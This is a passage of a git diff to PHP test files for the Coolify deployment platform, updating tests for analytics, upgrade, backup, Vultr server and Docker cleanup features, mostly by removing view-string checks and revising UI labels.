visitors')->assertDontSee('Traffic analytics');});--it('uses an empty lazy placeholder so analytics only appears after data loads', function () {- $view = file_get_contents(resource_path('views/livewire/dashboard/traffic-analytics-placeholder.blade.php'));-- expect($view)- ->toContain('class="contents"')- ->not->toContain('Traffic analytics');-});diff --git a/tests/Feature/TrafficAnalytics/GlobalAnalyticsTest.php b/tests/Feature/TrafficAnalytics/GlobalAnalyticsTest.phpindex ff8b4c8e9a..420af1ae97 100644--- a/tests/Feature/TrafficAnalytics/GlobalAnalyticsTest.php+++ b/tests/Feature/TrafficAnalytics/GlobalAnalyticsTest.php@@ -158,21 +158,6 @@ it('renders a team-wide analytics summary across enabled servers', function () {->assertSet('appOptions', [$application->uuid => 'Global Leaderboard App']);});-it('shows loading states while analytics filters refresh', function () {- $view = file_get_contents(resource_path('views/livewire/analytics.blade.php'));-- expect($view)- ->toContain('wire:loading.class="pointer-events-none opacity-60" wire:target="serverUuid"')- ->toContain('wire:loading.flex wire:target="serverUuid"')- ->toContain('wire:loading.class="pointer-events-none opacity-60" wire:target="appUuid"')- ->toContain('wire:loading.flex wire:target="appUuid"')- ->toContain('wire:loading.attr="disabled" wire:target="setRange"')- ->toContain('wire:loading.class="invisible" wire:target="setRange(\'24h\')"')- ->toContain('wire:loading wire:target="setRange(\'7d\')"')- ->toContain('wire:loading wire:target="setRange(\'30d\')"')- ->toContain('aria-label="Loading analytics"');-});-it('shows a no-data state for the requests chart when no traffic falls in the range', function () {$server = bootEnabledGlobalServer();diff --git a/tests/Feature/TrafficAnalytics/ServerAnalyticsPageTest.php b/tests/Feature/TrafficAnalytics/ServerAnalyticsPageTest.phpindex cdf0eb4ab4..561561efc6 100644--- a/tests/Feature/TrafficAnalytics/ServerAnalyticsPageTest.php+++ b/tests/Feature/TrafficAnalytics/ServerAnalyticsPageTest.php@@ -21,17 +21,11 @@ beforeEach(function () {session(['currentTeam' => $this->team]);});-it('registers a server analytics page in the server sidebar', function () {+it('registers a server analytics page route', function () {$server = Server::factory()->create(['team_id' => $this->team->id]);expect(route('server.analytics', ['server_uuid' => $server->uuid]))->toEndWith("/server/{$server->uuid}/analytics");-- $sidebar = file_get_contents(resource_path('views/components/server/sidebar.blade.php'));-- expect($sidebar)- ->toContain("'label' => 'Analytics'")- ->toContain("'route' => 'server.analytics'");});it('prevents access to another teams server analytics page', function () {@@ -42,62 +36,6 @@ it('prevents access to another teams server analytics page', function () {->toThrow(ModelNotFoundException::class);});-it('moves traffic analytics configuration out of sentinel and onto analytics', function () {- $analyticsView = file_get_contents(resource_path('views/livewire/server/traffic-analytics-settings.blade.php'));- $sentinelView = file_get_contents(resource_path('views/livewire/server/sentinel.blade.php'));-- expect($analyticsView)- ->toContain('id="server-traffic-analytics-settings-section"')- ->toContain('title="Traffic analytics"')- ->not->toContain('title="Traffic analytics settings"')- ->toContain('id="trafficTopn"')- ->toContain('id="trafficSampleThreshold"')- ->toContain('id="trafficRetention1hDays"')- ->toContain('id="trafficRetention1dDays"')- ->toContain('id="isGeoipEnabled"')- ->toContain('id="geoipRefreshDays"')- ->toContain('id="geoipMaxmindLicenseKey"')- ->and($sentinelView)- ->not->toContain('id="server-sentinel-traffic-analytics-section"')- ->not->toContain('id="trafficTopn"');-});--it('matches the server metrics empty state when traffic analytics is disabled', function () {- $view = file_get_contents(resource_path('views/livewire/server/traffic-analytics-settings.blade.php'));- $disabledState = str($view)- ->after('@else')- ->before('@endif')- ->toString();-- expect($disabledState)- ->toContain('title="Traffic analytics is disabled"')- ->toContain('<x-slot:contents>')- ->toContain('isHighlightedButton')- ->toContain('buttonTitle="Enable traffic analytics"');-});--it('renders traffic analytics settings above the server analytics dashboard', function () {- $view = file_get_contents(resource_path('views/livewire/server/analytics/show.blade.php'));-- expect(strpos($view, '<livewire:server.traffic-analytics-settings'))- ->toBeLessThan(strpos($view, '<livewire:analytics'));-});--it('only lazy loads the scoped dashboard when traffic analytics is enabled', function () {- $view = file_get_contents(resource_path('views/livewire/server/analytics/show.blade.php'));-- expect($view)- ->toContain(':lazy="$server->isTrafficAnalyticsEnabled()"');-});--it('matches other server pages without a visible page title', function () {- $view = file_get_contents(resource_path('views/livewire/server/analytics/show.blade.php'));-- expect($view)- ->not->toContain('>Analytics</h1>')- ->toContain('<livewire:server.traffic-analytics-settings');-});-it('scopes the server analytics page to its route server', function () {$server = Server::factory()->create(['team_id' => $this->team->id]);$otherServer = Server::factory()->create(['team_id' => $this->team->id]);diff --git a/tests/Feature/TrafficAnalytics/ToggleTrafficAnalyticsTest.php b/tests/Feature/TrafficAnalytics/ToggleTrafficAnalyticsTest.phpindex 24e8eb9825..964942eb71 100644--- a/tests/Feature/TrafficAnalytics/ToggleTrafficAnalyticsTest.php+++ b/tests/Feature/TrafficAnalytics/ToggleTrafficAnalyticsTest.php@@ -55,19 +55,10 @@ it('warns about the application interruption before enabling traffic analytics',Livewire::test(TrafficAnalyticsSettings::class, ['server' => $server])->assertSee('Enable traffic analytics?')- ->assertDontSeeHtml('wire:confirm')- ->assertSeeHtml('wire:loading.flex')- ->assertSeeHtml('wire:target="toggleTrafficAnalytics"')->assertSee('Restarting Sentinel and proxy...')->assertSee('Enabling traffic analytics will restart Sentinel and the proxy. Your applications will experience a brief interruption.');});-it('allows the analytics toggle modal to update after the state changes', function () {- $view = file_get_contents(resource_path('views/livewire/server/traffic-analytics-settings.blade.php'));-- expect($view)->toContain(':ignoreWire="false"');-});-it('does not enable traffic analytics on a swarm server', function () {ConfigureTrafficAnalytics::partialMock()->shouldReceive('handle')->never();diff --git a/tests/Feature/UpgradeComponentTest.php b/tests/Feature/UpgradeComponentTest.phpindex 306a486de7..d3379e78c8 100644--- a/tests/Feature/UpgradeComponentTest.php+++ b/tests/Feature/UpgradeComponentTest.php@@ -34,66 +34,6 @@ it('initializes latest version during mount from cached versions data', function->assertSee('4.0.0-beta.999');});-it('does not highlight the current upgrade stage with the warning yellow accent', function () {- $progressView = file_get_contents(resource_path('views/components/upgrade-progress.blade.php'));-- expect($progressView)- ->toContain('bg-neutral-100 text-neutral-900 dark:bg-white/[0.08] dark:text-fg')- ->not->toContain('dark:text-warning')- ->not->toContain('dark:bg-warning');-});--it('uses a current-color spinner on upgrade stages instead of the brand purple loader', function () {- $progressView = file_get_contents(resource_path('views/components/upgrade-progress.blade.php'));- $appCss = file_get_contents(resource_path('css/app.css'));-- expect($progressView)- ->toContain('spinner-current')- ->not->toContain('loading-indicator')- ->and($appCss)- ->toContain('.dark .animate-spin.spinner-current')- ->toContain('html[data-theme="custom"] .animate-spin.spinner-current')- ->toContain('color: inherit !important;');-});--it('treats a brief upgrade poll miss as a reconnect, not a lost-contact failure', function () {- $upgradeView = file_get_contents(resource_path('views/livewire/upgrade.blade.php'));-- expect($upgradeView)- ->toContain('Reconnecting. This is expected during an upgrade...')- ->not->toContain('Lost contact with Coolify');-});--it('renders the upgrade control in the mobile top bar', function () {- $layout = file_get_contents(resource_path('views/layouts/app.blade.php'));-- expect($layout)- ->toMatch('/MOBILE TOP BAR[\s\S]*?<livewire:upgrade[^>]*>[\s\S]*?Open sidebar/')- ->toContain('key="mobile-upgrade"');-});--it('supports a full size update button for settings', function () {- $upgradeView = file_get_contents(resource_path('views/livewire/upgrade.blade.php'));- $settingsView = file_get_contents(resource_path('views/livewire/settings/updates.blade.php'));-- expect($upgradeView)- ->toContain('$fullButton')- ->toContain('Upgrade now')- ->and($settingsView)- ->toContain('Update Coolify')- ->toContain(':full-button="true"')- ->toContain('key="settings-upgrade"');-});--it('uses compact labels that do not depend on desktop sidebar state', function () {- $upgradeView = file_get_contents(resource_path('views/livewire/upgrade.blade.php'));-- expect($upgradeView)- ->toContain('Updating')- ->toContain('Update available')- ->not->toContain(':class="collapsed');-});-it('falls back to 0.0.0 during mount when cached versions data is unavailable', function () {InstanceSettings::forceCreate(['id' => 0,diff --git a/tests/Feature/UserDeletionWithGithubAppTest.php b/tests/Feature/UserDeletionWithGithubAppTest.phpindex b2ccbccb01..b785efbb7a 100644--- a/tests/Feature/UserDeletionWithGithubAppTest.php+++ b/tests/Feature/UserDeletionWithGithubAppTest.php@@ -35,7 +35,7 @@ it('deletes a user whose team has a github app with applications', function () {'team_id' => $targetTeam->id,'private_key_id' => $privateKey->id,]);- $destination = StandaloneDocker::factory()->create(['server_id' => $server->id]);+ $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();// Create a project and environment$project = Project::factory()->create(['team_id' => $targetTeam->id]);@@ -90,13 +90,17 @@ it('does not delete system-wide github apps when deleting a different team', fun$targetUser = User::factory()->create();$targetTeam = $targetUser->teams()->first();- // Create an application on the target team that uses the system-wide GitHub App- $privateKey = PrivateKey::factory()->create(['team_id' => $targetTeam->id]);+ // Create an application on the target team that uses the system-wide GitHub App.+ // Use a distinct key: the factory key's fingerprint already exists in the current (root) team.+ $privateKey = PrivateKey::factory()->create([+ 'team_id' => $targetTeam->id,+ 'private_key' => PrivateKey::generateNewKeyPair('ed25519')['private_key'],+ ]);$server = Server::factory()->create(['team_id' => $targetTeam->id,'private_key_id' => $privateKey->id,]);- $destination = StandaloneDocker::factory()->create(['server_id' => $server->id]);+ $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();$project = Project::factory()->create(['team_id' => $targetTeam->id]);$environment = Environment::factory()->create(['project_id' => $project->id]);@@ -140,7 +144,7 @@ it('transfers instance-wide github app to root team when owning user is deleted''team_id' => $this->rootTeam->id,'private_key_id' => $rootPrivateKey->id,]);- $rootDestination = StandaloneDocker::factory()->create(['server_id' => $rootServer->id]);+ $rootDestination = StandaloneDocker::where('server_id', $rootServer->id)->firstOrFail();$rootProject = Project::factory()->create(['team_id' => $this->rootTeam->id]);$rootEnvironment = Environment::factory()->create(['project_id' => $rootProject->id]);@@ -191,7 +195,7 @@ it('transfers instance-wide github app to root team when team is deleted directl'team_id' => $this->rootTeam->id,'private_key_id' => $rootPrivateKey->id,]);- $rootDestination = StandaloneDocker::factory()->create(['server_id' => $rootServer->id]);+ $rootDestination = StandaloneDocker::where('server_id', $rootServer->id)->firstOrFail();$rootProject = Project::factory()->create(['team_id' => $this->rootTeam->id]);$rootEnvironment = Environment::factory()->create(['project_id' => $rootProject->id]);diff --git a/tests/Feature/VolumeBackupTest.php b/tests/Feature/VolumeBackupTest.phpindex 60d6c8a381..83cae30688 100644--- a/tests/Feature/VolumeBackupTest.php+++ b/tests/Feature/VolumeBackupTest.php@@ -107,27 +107,6 @@ it('includes parallel gzip support in the Coolify helper image', function () {expect($dockerfile)->toContain('pigz');});-it('keeps the volume backup script inside the Livewire root element', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/storages/volume-backups.blade.php'));-- expect(strrpos($view, '@endscript'))->toBeLessThan(strrpos($view, '</div>'));-});--it('shows the S3 configuration state in application and service backup tables', function () {- $views = [- resource_path('views/livewire/project/application/backup/index.blade.php'),- resource_path('views/livewire/project/service/volume-backup/index.blade.php'),- ];-- foreach ($views as $view) {- expect(file_get_contents($view))- ->toContain('<span>S3</span>')- ->toContain("'Configured'")- ->toContain("'Unavailable'")- ->toContain("'Not set'");- }-});-it('targets named volumes and application directory mounts through one backup relation', function () {$team = Team::factory()->create();[$application, $volume] = createVolumeBackupApplication($team);@@ -303,7 +282,11 @@ it('creates a scheduled backup for a preselected application directory', functio'selectedTargetKey' => 'directory:'.$directory->id,])->assertSet('targetKey', 'directory:'.$directory->id)- ->assertSee('Directory: '.$directory->fs_path)+ ->assertSet('targets', fn ($targets) => $targets->all() === [[+ 'key' => 'directory:'.$directory->id,+ 'type' => 'Directory',+ 'name' => $directory->fs_path,+ ]])->set('frequency', 'daily')->call('submit')->assertDispatched('success');@@ -365,12 +348,12 @@ it('shows volume backups on the application backups pages', function () {$this->get(route('project.application.backup.index', $parameters))->assertOk()- ->assertSee('Scheduled Backups')+ ->assertSee('Storage backups')->assertSee($volume->name);$this->get(route('project.application.backup.show', [...$parameters, 'backup_uuid' => $backup->uuid]))->assertOk()- ->assertSee('<h1>Backups</h1>', false)+ ->assertSee('Back to backups')->assertSee($volume->name);});@@ -393,11 +376,12 @@ it('shows directory backups on the application backup index and detail pages', f$this->get(route('project.application.backup.index', $parameters))->assertOk()- ->assertSee('Directory: '.$directory->fs_path);+ ->assertSee('Directory')+ ->assertSee($directory->fs_path);$this->get(route('project.application.backup.show', [...$parameters, 'backup_uuid' => $backup->uuid]))->assertOk()- ->assertSee('<h1>Backups</h1>', false)+ ->assertSee('Back to backups')->assertSee($directory->fs_path);});@@ -429,56 +413,53 @@ it('splits scheduled backup settings and executions across dedicated urls', func$this->get($generalUrl)->assertOk()->assertSee('General')- ->assertSee('S3')+ ->assertSee('S3 storage')->assertSee('Retention')->assertSee('Executions')->assertSee('Danger Zone')- ->assertSee('Stop containers while creating the archive')- ->assertDontSee('S3 Enabled')- ->assertDontSee('Number of backups to keep')- ->assertDontSee('Backup Availability:')- ->assertDontSee('Delete Backups and Schedule');+ ->assertSee('Backup schedule')+ ->assertSee('File-level consistency')+ ->assertDontSee('Enable S3')+ ->assertDontSee('Backups to keep')+ ->assertDontSee('Review generated archives')+ ->assertDontSee('Delete backup schedule');$this->get($generalUrl.'/s3')->assertOk()->assertSeeText('No validated S3 storage')- ->assertDontSee('Disable Local Backup')+ ->assertDontSee('Local copy')->assertDontSee('Enable S3')->assertDontSee('Disable S3')- ->assertDontSee('S3 Storage Retention')- ->assertDontSee('Local Backup Retention')+ ->assertDontSee('Backups to keep')->assertDontSee('Frequency')- ->assertDontSee('Backup Availability:');-- $s3View = file_get_contents(resource_path('views/livewire/project/shared/storages/volume-backups/s3.blade.php'));- expect(strpos($s3View, '<span>S3 Storage</span>'))- ->toBeLessThan(strpos($s3View, 'label="Disable Local Backup"'));+ ->assertDontSee('Review generated archives');$this->get($generalUrl.'/retention')->assertOk()- ->assertSee('Local Backup Retention')- ->assertSee('S3 Storage Retention')- ->assertSee('Number of backups to keep')- ->assertDontSee('Stop containers while creating the archive')- ->assertDontSee('Backup Availability:');+ ->assertSee('Local backups')+ ->assertSee('S3 backups')+ ->assertSee('Backups to keep')+ ->assertDontSee('File-level consistency')+ ->assertDontSee('Review generated archives');$this->get($generalUrl.'/executions')->assertOk()- ->assertSee('Backup Availability:')- ->assertDontSee('Stop containers while creating the archive')- ->assertDontSee('Number of backups to keep');+ ->assertSee('Review generated archives')+ ->assertSee('Availability')+ ->assertDontSee('File-level consistency')+ ->assertDontSee('Backups to keep');$this->get($generalUrl.'/danger')->assertOk()->assertSee('Danger Zone')- ->assertSee('Delete Scheduled Backup')- ->assertSee('Delete Backups and Schedule')- ->assertDontSee('Stop containers while creating the archive')- ->assertDontSee('Number of backups to keep')- ->assertDontSee('Backup Availability:');+ ->assertSee('Delete backup schedule')+ ->assertSee('Delete schedule')+ ->assertDontSee('File-level consistency')+ ->assertDontSee('Backups to keep')+ ->assertDontSee('Review generated archives');});-it('shows the configure backup modal trigger inside the volume card instead of inline backup settings', function () {+it('shows the configure backup modal trigger for a volume', function () {InstanceSettings::unguarded(fn () => InstanceSettings::create(['id' => 0]));$team = Team::factory()->create();signInForVolumeBackups($this, $team);@@ -491,12 +472,7 @@ it('shows the configure backup modal trigger inside the volume card instead of i$html = $component->html();- // Read-only volume rows are table cells (no form); backup action still renders in the row.- expect($html)- ->toContain('Configure Volume Backup')- ->toContain('data-table-row')- ->not->toContain('wire:submit="submit('.$volume->id.')"')- ->toContain('Backup');+ expect($html)->toContain('Configure Volume Backup');});it('only shows the backup enabled badge for an enabled volume backup', function () {@@ -569,7 +545,6 @@ it('offers backup configuration and status on application directory mounts', fun$component = Livewire::test(FileStorage::class, ['fileStorage' => $directory])->assertSee('Configure Backup')- ->assertSeeInOrder(['Convert to file', 'Configure Backup', 'Delete'])->assertDontSee('Backup enabled');$backup = $directory->scheduledBackups()->create([@@ -743,20 +718,17 @@ it('renders volume backup executions like database backup executions', function->assertSet('timezone', 'Europe/Budapest')->assertSeeInOrder(['Executions',+ 'Status',+ 'Archive',+ 'Availability','Success',- 'Volume: app-data',- 'Backup Availability:',+ '/data/coolify/backups/volumes/test/archive.tar.gz',+ 'Local',])- ->assertSee('Executions')- ->assertSee('Page 1 of 1')- ->assertSee('Cleanup Failed Backups')- ->assertSee('Cleanup Deleted')- ->assertSee('Backup Availability:')- ->assertSee('Local Storage')- ->assertSee('Location: /data/coolify/backups/volumes/test/archive.tar.gz')- ->assertSee('Download')- ->assertSee('Delete')- ->assertDontSee('border border-neutral-200', false);+ ->assertSee('Cleanup failed')+ ->assertSee('Cleanup deleted')+ ->assertSee('Download backup')+ ->assertSee('Delete backup');});it('cleans up failed and fully deleted volume backup execution records', function () {@@ -898,10 +870,10 @@ it('enables and disables volume backups from the title action', function () {$component = Livewire::test(VolumeBackups::class, ['storage' => $volume, 'resource' => $application])->assertSet('enabled', false)- ->assertSee('Enable Backup')+ ->assertSee('Enable backup')->call('toggleEnabled')->assertSet('enabled', true)- ->assertSee('Disable Backup');+ ->assertSee('Disable backup');expect(ScheduledVolumeBackup::query()->sole()->enabled)->toBeTrue();@@ -1024,7 +996,7 @@ it('shows and saves volume S3 retention while S3 backups are disabled', function'resource' => $application,'section' => 'retention',])- ->assertSee('S3 Storage Retention')+ ->assertSee('S3 backups')->set('retentionAmountS3', 12)->set('retentionDaysS3', 30)->set('retentionMaxStorageS3', 4.5)@@ -1188,10 +1160,10 @@ it('creates a local scheduled backup for a persistent volume', function () {[$application, $volume] = createVolumeBackupApplication($team);Livewire::test(VolumeBackups::class, ['storage' => $volume, 'resource' => $application])- ->assertSee('General')- ->assertSee('Volume:')- ->assertSee('inconsistent or corrupted')- ->assertSee('gracefully stop containers')+ ->assertSee('Backup schedule')+ ->assertSeeInOrder(['Volume', $volume->name])+ ->assertSee('can be inconsistent')+ ->assertSee('Stopping containers')->set('frequency', 'daily')->set('retentionAmountLocally', 5)->set('retentionDaysLocally', 14)@@ -1321,7 +1293,7 @@ it('saves the selected volume backup S3 storage immediately while S3 is disabled->and($backup->s3_storage_id)->toBe($secondS3Storage->id);});-it('saves each editable volume backup checkbox immediately', function () {+it('saves the archive behavior immediately and the local copy with the S3 form', function () {$team = Team::factory()->create();signInForVolumeBackups($this, $team);[$application, $volume] = createVolumeBackupApplication($team);@@ -1343,20 +1315,15 @@ it('saves each editable volume backup checkbox immediately', function () {]);$generalComponent = Livewire::test(VolumeBackups::class, ['storage' => $volume, 'resource' => $application]);- preg_match('/<input\b(?=[^>]*wire:model=(?:"stopDuringBackup"|stopDuringBackup))[^>]*>/', $generalComponent->html(), $matches);- expect($matches[0] ?? null)->not->toBeNull()- ->and($matches[0])->toContain("wire:click='instantSave'");$s3Component = Livewire::test(VolumeBackups::class, ['storage' => $volume,'resource' => $application,'section' => 's3',]);- foreach (['disableLocalBackup'] as $property) {- preg_match('/<input\b(?=[^>]*wire:model=(?:"'.$property.'"|'.$property.'))[^>]*>/', $s3Component->html(), $matches);- expect($matches[0] ?? null)->not->toBeNull()- ->and($matches[0])->toContain("wire:click='instantSave'");- }+ // The local copy choice belongs to the S3 form and is persisted by its explicit save.+ $s3Component->set('disableLocalBackup', true)->call('save')->assertDispatched('success');+ expect($backup->refresh()->disable_local_backup)->toBeTrue();$generalComponent->set('stopDuringBackup', true)->call('instantSave')->assertDispatched('success');expect($backup->refresh()->stop_during_backup)->toBeTrue();@@ -1382,13 +1349,13 @@ it('allows volume S3 backups to be disabled when no usable storage remains', fun'section' => 's3',])->assertSet('saveToS3', true)- ->assertSeeHtml('<h2>S3 storage</h2>')+ ->assertSeeText('S3 storage')->assertSeeText('No validated S3 storage')->assertSeeHtml('href="'.route('storage.index').'"')->assertSeeText('Open S3 storage')->assertDontSee('Save')->assertDontSee('Disable S3')- ->assertDontSee('Disable Local Backup')+ ->assertDontSee('Local copy')->call('toggleS3')->assertDispatched('success')->assertSet('saveToS3', false)diff --git a/tests/Feature/VultrServerCreationTest.php b/tests/Feature/VultrServerCreationTest.phpindex 9474b697fb..4c506de26e 100644--- a/tests/Feature/VultrServerCreationTest.php+++ b/tests/Feature/VultrServerCreationTest.php@@ -238,21 +238,23 @@ it('requires IPv6 when public IPv4 is disabled', function () {->assertHasErrors(['enable_ipv6']);});-it('uses the shared dropdown UI for advanced Vultr options', function () {+it('renders advanced Vultr options in their own settings section', function () {Livewire::test(ByVultr::class)->set('current_step', 2)- ->assertSee('Advanced Vultr options')- ->assertSeeHtml('dropdownOpen')- ->assertSeeHtml('x-ref="panel"')- ->assertSee('Additional SSH Keys (from Vultr)')- ->assertSee('Network Configuration')- ->assertSee('Cloud-Init Script');+ ->assertSee('Advanced options')+ ->assertSee('Provider SSH keys, networking, and cloud-init.')+ ->assertSee('Extra SSH keys')+ ->assertSee('Enable IPv6')+ ->assertSee('Disable public IPv4')+ ->assertSee('Cloud-init script');});-it('renders only the full width buy button at the bottom of the Vultr form', function () {- Livewire::test(ByVultr::class)+it('renders a single buy button and no back button on the Vultr form', function () {+ $html = Livewire::test(ByVultr::class)->set('current_step', 2)->assertDontSee('wire:click="previousStep"', false)- ->assertSeeHtml('class="button w-full"')- ->assertSee('Buy & Create Server', false);+ ->assertSee('Buy and create')+ ->html();++ expect(substr_count($html, 'type="submit"'))->toBe(1);});diff --git a/tests/Feature/VultrServerLifecycleTest.php b/tests/Feature/VultrServerLifecycleTest.phpindex cb3b3108c0..fbda1e48bd 100644--- a/tests/Feature/VultrServerLifecycleTest.php+++ b/tests/Feature/VultrServerLifecycleTest.php@@ -255,6 +255,13 @@ it('shows Vultr power on button when stopped even if server was previously funct->assertSee('Power On');});+it('hides Vultr power on button while the instance is running', function () {+ $this->server->update(['vultr_instance_status' => 'active']);++ Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])+ ->assertDontSee('Power On');+});+it('starts a Vultr instance', function () {Http::fake(['https://api.vultr.com/v2/instances/instance-1/start' => Http::response([], 204),diff --git a/tests/Unit/Actions/Server/CleanupDockerTest.php b/tests/Unit/Actions/Server/CleanupDockerTest.phpindex a74684e6e3..93f2a9afc0 100644--- a/tests/Unit/Actions/Server/CleanupDockerTest.php+++ b/tests/Unit/Actions/Server/CleanupDockerTest.php@@ -419,7 +419,8 @@ it('uses persisted buildx metadata when pruning the railpack builder', function$sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');expect($sourceFile)- ->toContain('docker run --rm -v \\$HOME/.docker/buildx:/root/.docker/buildx')+ ->toContain(": '\$HOME/.docker/buildx';")+ ->toContain('docker run --rm -v {$buildxMetadataVolume}:/root/.docker/buildx')->toContain('docker buildx prune --builder coolify-railpack -af')->not->toContain('--buildkitd-flags');});diff --git a/tests/Unit/Api/ApplicationAutogenerateDomainTest.php b/tests/Unit/Api/ApplicationAutogenerateDomainTest.phpindex 7660336185..ae6a3ca902 100644--- a/tests/Unit/Api/ApplicationAutogenerateDomainTest.php+++ b/tests/Unit/Api/ApplicationAutogenerateDomainTest.php@@ -2,15 +2,18 @@use App\Models\Server;use App\Models\ServerSetting;+use Illuminate\Http\Request;+use Illuminate\Support\Facades\Log;+use Spatie\Url\Url;beforeEach(function () {// Mock Log to prevent actual logging- Illuminate\Support\Facades\Log::shouldReceive('error')->andReturn(null);- Illuminate\Support\Facades\Log::shouldReceive('info')->andReturn(null);+ Log::shouldReceive('error')->andReturn(null);+ Log::shouldReceive('info')->andReturn(null);});it('generateUrl produces correct URL with wildcard domain', function () {- $serverSettings = Mockery::mock(ServerSetting::class);+ $serverSettings = new ServerSetting;$serverSettings->wildcard_domain = 'http://example.com';$server = Mockery::mock(Server::class)->makePartial();@@ -25,7 +28,7 @@ it('generateUrl produces correct URL with wildcard domain', function () {// Test the URL generation logic manually (simulating generateUrl behavior)$random = 'abc123-def456';- $url = Spatie\Url\Url::fromString($wildcard);+ $url = Url::fromString($wildcard);$host = $url->getHost();$scheme = $url->getScheme();@@ -40,7 +43,7 @@ it('generateUrl falls back to sslip when no wildcard domain', function () {$fallbackDomain = "http://{$ip}.sslip.io";$random = 'test-uuid';- $url = Spatie\Url\Url::fromString($fallbackDomain);+ $url = Url::fromString($fallbackDomain);$host = $url->getHost();$scheme = $url->getScheme();@@ -51,7 +54,7 @@ it('generateUrl falls back to sslip when no wildcard domain', function () {it('autogenerate_domain defaults to true', function () {// Create a mock request- $request = new Illuminate\Http\Request;+ $request = new Request;// When autogenerate_domain is not set, boolean() should return the default (true)$autogenerateDomain = $request->boolean('autogenerate_domain', true);@@ -61,7 +64,7 @@ it('autogenerate_domain defaults to true', function () {it('autogenerate_domain can be set to false', function () {// Create a request with autogenerate_domain set to false- $request = new Illuminate\Http\Request(['autogenerate_domain' => false]);+ $request = new Request(['autogenerate_domain' => false]);$autogenerateDomain = $request->boolean('autogenerate_domain', true);@@ -70,7 +73,7 @@ it('autogenerate_domain can be set to false', function () {it('autogenerate_domain can be set to true explicitly', function () {// Create a request with autogenerate_domain set to true- $request = new Illuminate\Http\Request(['autogenerate_domain' => true]);+ $request = new Request(['autogenerate_domain' => true]);$autogenerateDomain = $request->boolean('autogenerate_domain', true);@@ -117,7 +120,7 @@ it('domain is not auto-generated when autogenerate is false', function () {});it('removeUnnecessaryFieldsFromRequest removes autogenerate_domain', function () {- $request = new Illuminate\Http\Request([+ $request = new Request(['autogenerate_domain' => true,'name' => 'test-app','project_uuid' => 'abc123',diff --git a/tests/Unit/ApplicationComposeEditorLoadTest.php b/tests/Unit/ApplicationComposeEditorLoadTest.phpindex 305bc72a25..876e4f2267 100644--- a/tests/Unit/ApplicationComposeEditorLoadTest.php+++ b/tests/Unit/ApplicationComposeEditorLoadTest.php@@ -1,72 +1,92 @@<?php+use App\Livewire\Project\Application\General;use App\Models\Application;+use App\Models\Environment;+use App\Models\InstanceSettings;+use App\Models\Project;use App\Models\Server;use App\Models\StandaloneDocker;+use App\Models\Team;+use App\Models\User;+use Illuminate\Foundation\Testing\RefreshDatabase;+use Tests\TestCase;++use function Livewire\store;++uses(TestCase::class, RefreshDatabase::class);/**- * Unit test to verify docker_compose_raw is properly synced to the Livewire component- * after loading the compose file from Git.+ * Verify docker_compose_raw is synced to the Livewire component after the+ * compose file is loaded from Git.*- * This test addresses the issue where the Monaco editor remains empty because- * the component property is not synced after loadComposeFile() completes.+ * Without the sync, the Monaco editor stays empty because the component+ * property is not updated after loadComposeFile() completes.*/it('syncs docker_compose_raw to component property after loading compose file', function () {- // Create a mock application- $app = Mockery::mock(Application::class)->makePartial();- $app->shouldReceive('getAttribute')->with('docker_compose_raw')->andReturn(null, 'version: "3"\nservices:\n web:\n image: nginx');- $app->shouldReceive('getAttribute')->with('docker_compose_location')->andReturn('/docker-compose.yml');- $app->shouldReceive('getAttribute')->with('base_directory')->andReturn('/');- $app->shouldReceive('getAttribute')->with('docker_compose_domains')->andReturn(null);- $app->shouldReceive('getAttribute')->with('build_pack')->andReturn('dockercompose');- $app->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['is_raw_compose_deployment_enabled' => false]);-- // Mock destination and server- $server = Mockery::mock(Server::class);- $server->shouldReceive('proxyType')->andReturn('traefik');-- $destination = Mockery::mock(StandaloneDocker::class);- $destination->server = $server;-- $app->shouldReceive('getAttribute')->with('destination')->andReturn($destination);- $app->shouldReceive('refresh')->andReturnSelf();-- // Mock loadComposeFile to simulate loading compose file- $composeContent = 'version: "3"\nservices:\n web:\n image: nginx';- $app->shouldReceive('loadComposeFile')->andReturn([- 'parsedServices' => ['services' => ['web' => ['image' => 'nginx']]],- 'initialDockerComposeLocation' => '/docker-compose.yml',+ InstanceSettings::forceCreate(['id' => 0]);++ $team = Team::factory()->create();+ $user = User::factory()->create();+ $team->members()->attach($user->id, ['role' => 'owner']);+ $this->actingAs($user);+ session(['currentTeam' => $team]);++ $server = Server::factory()->create(['team_id' => $team->id]);+ $destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail();+ $project = Project::factory()->create(['team_id' => $team->id]);+ $environment = Environment::factory()->create(['project_id' => $project->id]);+ $storedApplication = Application::factory()->create([+ 'environment_id' => $environment->id,+ 'build_pack' => 'dockercompose',+ 'docker_compose_raw' => null,+ 'destination_id' => $destination->id,+ 'destination_type' => $destination->getMorphClass(),]);- // After loadComposeFile is called, the docker_compose_raw should be populated- $app->docker_compose_raw = $composeContent;+ $composeContent = "services:\n web:\n image: nginx\n";- // Verify that docker_compose_raw is populated after loading- expect($app->docker_compose_raw)->toBe($composeContent);- expect($app->docker_compose_raw)->not->toBeEmpty();-});+ // Stub only the Git read; everything else is the real model.+ $application = new class extends Application+ {+ protected $table = 'applications';-/**- * Test that verifies the component properly syncs model data after loadComposeFile- */-it('ensures General component syncs docker_compose_raw property after loading', function () {- // This is a conceptual test showing the expected behavior- // In practice, this would be tested with a Feature test that actually renders the component-- // The issue: Before the fix- // 1. mount() is called -> docker_compose_raw is null- // 2. syncFromModel() is called at end of mount -> component property = null- // 3. loadComposeFile() is triggered later via Alpine x-init- // 4. loadComposeFile() updates the MODEL's docker_compose_raw- // 5. BUT component property is never updated, so Monaco editor stays empty-- // The fix: After adding syncFromModel() in loadComposeFile()- // 1. mount() is called -> docker_compose_raw is null- // 2. syncFromModel() is called at end of mount -> component property = null- // 3. loadComposeFile() is triggered later via Alpine x-init- // 4. loadComposeFile() updates the MODEL's docker_compose_raw- // 5. syncFromModel() is called in loadComposeFile() -> component property = loaded compose content- // 6. Monaco editor displays the loaded compose file ✅-- expect(true)->toBeTrue('This test documents the expected behavior');+ public static string $loadedCompose = '';++ public function getForeignKey(): string+ {+ return 'application_id';+ }++ public function getMorphClass(): string+ {+ return Application::class;+ }++ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = null, ?string $restoreDockerComposeLocation = null)+ {+ 